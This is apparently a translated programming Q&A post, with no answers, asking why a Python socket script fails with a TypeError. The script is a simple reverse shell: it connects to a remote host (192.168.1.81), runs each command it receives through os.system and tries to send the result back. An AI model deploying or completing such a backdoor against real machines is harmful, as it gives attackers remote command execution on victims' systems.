无法通过Socket发送Subprocess结果

时间:2018-01-24 14:09:27

标签: python sockets subprocess

import socket, os, sys, subprocess

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

host = '192.168.1.81'
port = int(sys.argv[1])

s.connect((host, port))

done = False

while not done:
    print ('Waiting for data....')
    data_enc = s.recv(1024)
    data = data_enc.decode()
    result = os.system(str(data))
    s.send(str.encode(result))

这是我的代码,错误是

Traceback (most recent call last):
  File "trap.py", line 17, in <module>
    s.send(str.encode(result))
TypeError: descriptor 'encode' requires a 'str' object but received a '    int'

当我检查结果变量的值时它是0,但是在机器上子进程结果很好(当我使用'ls'命令显示文件时)。

我正在使用python 3,我试图在Kali发行版上运行此代码。

0 个答案:

没有答案